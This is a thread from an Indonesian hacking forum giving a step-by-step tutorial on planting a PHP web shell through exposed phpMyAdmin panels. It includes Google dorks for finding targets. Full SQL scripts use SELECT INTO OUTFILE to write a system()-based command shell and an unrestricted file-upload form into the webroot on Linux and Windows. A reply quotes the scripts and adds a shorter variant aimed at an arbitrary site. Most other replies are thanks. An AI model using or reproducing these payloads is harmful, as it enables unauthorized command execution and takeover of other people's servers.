Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-23-2013, 07:01 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Web Hacking v
1 2 3 4 5 ... 54 Next »

[Tutor] UPDATE 11/10/2012 Tanam Shell lewat PhpMyAdmin

Home General Computer Multimedia Business Lounge

Pages (5): 1 2 3 4 5 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
Tutor UPDATE 11/10/2012 Tanam Shell lewat PhpMyAdmin
06-24-2012, 07:01 PM (This post was last modified: 10-11-2012 11:23 PM by ubuntux.)
Post: #1
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,621
Joined: Dec 2011
Reputation: 75
UPDATE 11/10/2012 Tanam Shell lewat PhpMyAdmin
banyak request P.o.C dari thread ane yang ini http://devilzc0de.org/forum/thread-15698.html

sekarang ane posting P.o.C nya, selamat menikmati hmm

dork:
inurl:/security/security.php
inurl:/phpmyadmin/index.php
dll gunakan logikanya aja...

kalo udah ketemu targetnya kita mulai:

UPDATE:

Ane juga pernah nyobain di localhost
PhpMyAdmin yang ane pakai bawaan dari LAMPP (Linux) yaitu versi 3.2.4

Langsung aja kita buka PhpMyAdminnya, kemudian pilih menu SQL

Kemudian masukkan script SQL pada form yang tersedia :
*Untuk mesin Linux
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system($cmd); echo "</pre>"; exit; } ?>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/cmd.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

*Untuk mesin Windows
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system($cmd); echo "</pre>"; exit; } ?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/cmd.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Klik Go!

Note : Jika XAMPP terinstall di direktori lain, silahkan ganti codingnya di bagian SELECT * INTO OUTFILE 'alamat htdocs nya xampp/cmd.php' from temptab;

Oke ane anggap hasilnya seperti ini :
Your SQL Query has been executed successful

Itu artinya kita udah bisa membuka file cmd.php, silahkan buka http://localhost/cmd.php?cmd=Masukkan perintah OS (Linux atau Windows)
Contoh : http://localhost/cmd.php?cmd=ls <-- ls adalah perintah untuk ngeliat isi file dan direktori di mesin Linux, kalo Windows ya pake dir.

Lanjut lagi!
Langsung aja kita buka PhpMyAdminnya, kemudian pilih menu SQL

Kemudian masukkan script SQL pada form yang tersedia :
*Untuk mesin Linux
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/form.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

*Untuk mesin Windows
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/form.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Dan kemudian Klik Go!

Ulangi lagi kita buka PhpMyAdminnya, kemudian pilih menu SQL

Kemudian masukkan script SQL pada form yang tersedia :
*Untuk mesin Linux
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "/opt/lampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

*Untuk mesin Windows
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "C:/xampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Dan kemudian Klik Go!
Ane anggep sukses, sekarang buka http://localhost/form.php

Silahkan di upload Shellnya atau file .php, .html, .htm, .txt, dan lain sebagainya.

Thanks to: Explore Crew
Visit this user's website Find all posts by this user
Quote this message in a reply
 Reputed by :  Bunga.Mataharry(+1) , NatyaOrigami™(+1)
06-24-2012, 07:37 PM
Post: #2
seva Offline
Penjual Obat Kuat
Posts: 549
Joined: Sep 2010
Reputation: 2
RE: Tanam Shell lewat PhpMyAdmin
belajar
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 07:51 PM
Post: #3
hakimoxz Offline
./Devilz Advisor
Posts: 777
Joined: Jul 2011
Reputation: 37
RE: Tanam Shell lewat PhpMyAdmin
wah ini baru keren...
+ lengkap dengan penjelasanya mantap om makasih
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 07:54 PM
Post: #4
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,621
Joined: Dec 2011
Reputation: 75
RE: Tanam Shell lewat PhpMyAdmin
(06-24-2012 07:51 PM)hakimoxz Wrote:  wah ini baru keren...
+ lengkap dengan penjelasanya mantap om makasih

iya sama2 om hakimoxz hmm
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 08:04 PM
Post: #5
jincorn Online
./Devilz Advisor
Posts: 758
Joined: Feb 2012
Reputation: 49
RE: Tanam Shell lewat PhpMyAdmin
belajarbelajarbelajarbelajarbelajar
Find all posts by this user
Quote this message in a reply
06-24-2012, 09:10 PM
Post: #6
numlk Offline
./Devilz 1st Cadet
Posts: 19
Joined: May 2012
Reputation: 0
RE: Tanam Shell lewat PhpMyAdmin
nah ne dia yg di tgu2,.,., mantap om
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 09:13 PM
Post: #7
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,621
Joined: Dec 2011
Reputation: 75
RE: Tanam Shell lewat PhpMyAdmin
(06-24-2012 09:10 PM)numlk Wrote:  nah ne dia yg di tgu2,.,., mantap om

silahkan dipelajari om hmm
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 09:25 PM
Post: #8
DC™Rebels Offline
Alayer_Terbaik_di DC
Posts: 869
Joined: Jun 2012
Reputation: 12
RE: Tanam Shell lewat PhpMyAdmin
(06-24-2012 07:01 PM)ubuntux Wrote:  banyak request P.o.C dari thread ane yang ini http://devilzc0de.org/forum/thread-15698.html

sekarang ane posting P.o.C nya, selamat menikmati hmm

dork:
inurl:/security/security.php
inurl:/phpmyadmin/index.php
dll gunakan logikanya aja...

kalo udah ketemu targetnya kita mulai:

pertama buat tabel dulu
Code:
CREATE TABLE `exp` (`php` TEXT NOT NULL) ENGINE = MYISAM ;

setelah itu kita insert code php
Code:
INSERT INTO `exp` (`php`)VALUES ('<?php system($_GET["sh"]); ?>');

sekarang waktunya kita membuat file php dari code php tersebut.
Code:
SELECT * FROM `exp` INTO OUTFILE '../exploit.php'

Ew... error,,, emg disengaja bwt memudahkan mengetahui pathnya..
#1 - Can't create/write to file '/Applications/XAMPP/xamppfiles/var/exploit.php' (Errcode: 13)
wah ternyata XAMPP :)

coba lagi create file phpnya
Code:
SELECT * FROM `exp` INTO OUTFILE '/Applications/XAMPP/xamppfiles/htdocs/xampp/exploit.php'

Yes....

langsung buka
Code:
http://Site.com/xampp/exploit.php

UPDATE:

Ane juga pernah nyobain di localhost
PhpMyAdmin yang ane pakai bawaan dari LAMPP (Linux) yaitu versi 3.2.4

Langsung aja kita buka PhpMyAdminnya, kemudian pilih menu SQL

Kemudian masukkan script SQL pada form yang tersedia :
*Untuk mesin Linux
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system($cmd); echo "</pre>"; exit; } ?>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/cmd.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

*Untuk mesin Windows
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system($cmd); echo "</pre>"; exit; } ?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/cmd.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Klik Go!

Note : Jika XAMPP terinstall di direktori lain, silahkan ganti codingnya di bagian SELECT * INTO OUTFILE 'alamat htdocs nya xampp/cmd.php' from temptab;

Oke ane anggap hasilnya seperti ini :
Your SQL Query has been executed successful

Itu artinya kita udah bisa membuka file cmd.php, silahkan buka http://localhost/cmd.php?cmd=Masukkan perintah OS (Linux atau Windows)
Contoh : http://localhost/cmd.php?cmd=ls <-- ls adalah perintah untuk ngeliat isi file dan direktori di mesin Linux, kalo Windows ya pake dir.

Lanjut lagi!
Langsung aja kita buka PhpMyAdminnya, kemudian pilih menu SQL

Kemudian masukkan script SQL pada form yang tersedia :
*Untuk mesin Linux
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/form.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

*Untuk mesin Windows
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/form.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Dan kemudian Klik Go!

Ulangi lagi kita buka PhpMyAdminnya, kemudian pilih menu SQL

Kemudian masukkan script SQL pada form yang tersedia :
*Untuk mesin Linux
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "/opt/lampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>');
SELECT * INTO OUTFILE '/opt/lampp/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

*Untuk mesin Windows
Code:
use mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<?php $uploaddir = "C:/xampp/htdocs/";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);echo "<pre>";if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))print "</pre>";?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/upload.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;

Dan kemudian Klik Go!
Ane anggep sukses, sekarang buka http://localhost/form.php

Silahkan di upload Shellnya atau file .php, .html, .htm, .txt, dan lain sebagainya.

Thanks to: Explore Crew


Pasti HACKER ini :) ngakak mantap kaka ubuntux
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 09:28 PM
Post: #9
ubuntux Offline
./Admiral of Devilzc0der
Posts: 1,621
Joined: Dec 2011
Reputation: 75
RE: Tanam Shell lewat PhpMyAdmin
makasih om rebels mantap
Visit this user's website Find all posts by this user
Quote this message in a reply
06-24-2012, 09:37 PM
Post: #10
DC™Rebels Offline
Alayer_Terbaik_di DC
Posts: 869
Joined: Jun 2012
Reputation: 12
RE: Tanam Shell lewat PhpMyAdmin
Urwel Kaka Ubuntux :)
Visit this user's website Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (5): 1 2 3 4 5 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] Upload shell image via tamper data test 27 888 05-20-2013 05:20 AM
Last Post: tabun
  [Tutor] Hunting Windows Server+Upload Shell Via phpmyadmin using Computer Search Engine tey 18 687 05-19-2013 02:28 PM
Last Post: GuestMac
  [share] kumpulan shell indo dan top_100_shell 777r 25 1,143 04-21-2013 02:09 PM
Last Post: I'van
  yang mau nyari shell Makan Nasi 10 256 03-15-2013 01:06 PM
Last Post: Makan Nasi
  [Tutor] Dhanush Shell Rohan 8 335 03-14-2013 05:28 PM
Last Post: jawaklagi
  [Tutor] sqlmap --sql-shell hocib0 14 465 03-12-2013 07:10 PM
Last Post: brianfahmi
  [Tutor] 4 trik Cara Upload Shell di Joomla ./E1nzte1N 21 483 02-23-2013 07:42 PM
Last Post: Rifaldi238
Rainbow Koleksi shell ane dvildance 10 282 02-20-2013 04:22 AM
Last Post: Ndra
  [Tutor] Joomla Remote Shell Upload Vulnerability panjidani 3 260 02-18-2013 03:01 PM
Last Post: eidelweiss
  [Ask] shell dalam index.html hakimarx 17 811 01-22-2013 06:05 PM
Last Post: Backtracktux

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-23-2013, 07:01 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE